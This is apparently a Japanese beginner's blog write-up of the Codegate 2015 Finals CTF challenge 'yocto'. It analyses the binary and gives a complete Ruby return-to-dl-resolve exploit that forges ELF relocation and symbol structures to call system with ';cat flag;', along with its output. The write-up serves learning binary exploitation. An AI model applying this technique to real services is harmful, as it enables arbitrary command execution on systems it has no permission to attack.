Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

Codegate2015 Finals yocto(pwn600)

良い過去問題の1つだと思う.参考資料のサイト見ながら解いてみた.

下調べ

vagrant@ubuntu4ctf ~/c/Codegate> file yocto | sed -e 's/, /\n/g'
yocto: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
BuildID[sha1]=95c4e813fa1e2c84b3adf4bc77d48f5057761266
not stripped
vagrant@ubuntu4ctf ~/c/Codegate> checksec --file yocto
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       yocto

良いバイナリ

解析

80byte分readで読み込まれる.その際,".“で区切られた数字をatoiで数値に変換し,スタック上に格納し,格納した値のjmpで飛ぶ.
例えば,"1111.2222.3333"と入力した場合には,[esp]に2222, [esp+8]に1111,3333にjmpする動作となる.
また,shutdown(0, SHUT_RD); shutdown(1, SHUT_RD); shutdown(2, SHUT_RD);が最初の方にされており,これ以降のfd(0,1,2)の受信は禁止されている.(正直イマイチ意味がわかってない・・・後述のexploitでshがうまく起動できなかったのはこれが原因?)

Exploit

libcのアドレスをリークできるような処理が見つけられなかったし,練習したかったので,Return to dl-resolveを用いて解いてみる.
まず偽reloc_offsetを用いて,偽Elf32_Rel構造体を参照させる.次に,偽Elf32_Rel->r_infoに偽Elf32_Sym構造体を参照させる.最後に偽Elf32_Sym->st_nameの指す先を"system"になるように調節する.これらの状態にするためには既知のアドレスを使ってうまく配置しなければいけない.幸い今回はグローバル変数があるので,そこを使った.

以下にexploitを示す.

#!/usr/bin/env ruby
# coding: utf-8
require 'pwnlib'

host = 'localhost'
port = 8888

PwnTube.open(host, port) do |t|

  padding      = 21
  buf          = 0x80495c0
  plt          = 0x80482a0
  relplt       = 0x8048270
  dynsym       = 0x804818c
  dynstr       = 0x80481fc
  system_str   = "system\x00"
  fake_rel     = buf + 40
  system_addr  = fake_rel + 8
  fake_dynsym  = system_addr + system_str.length + padding
  reloc_offset = fake_rel - relplt
  index_dynsym = (fake_dynsym - dynsym) / 0x10
  r_info       = (index_dynsym << 8) | 0x7
  r_offset     = 0x8049610
  st_name      = system_addr - dynstr

  # relplt + reloc_offsetが,偽Elf32_Rel構造体を指すようにする
  payload = "." + reloc_offset.to_s + "." + plt.to_s
  payload << ";cat flag;" # 予めlsなどでFLAGを見つけておく
  payload = payload.ljust(40, "A")

  # 偽Elf32_Rel構造体
  payload << p32(r_offset)
  payload << p32(r_info)

  payload << system_str
  payload << "A" * padding

  # 偽Elf32_Sym構造体
  # dynstr + st_nameのアドレスが"system"を指す
  payload << p32(st_name)

  #STDIN.gets
  t.sendline(payload)

  puts t.recv

end

以下が実行結果である.

vagrant@ubuntu4ctf ~/c/Codegate> ruby x.rb                                            
[*] connected

Dyn4m1c L1nk3r? Hah! just cd80!
[*] connection closed

参考資料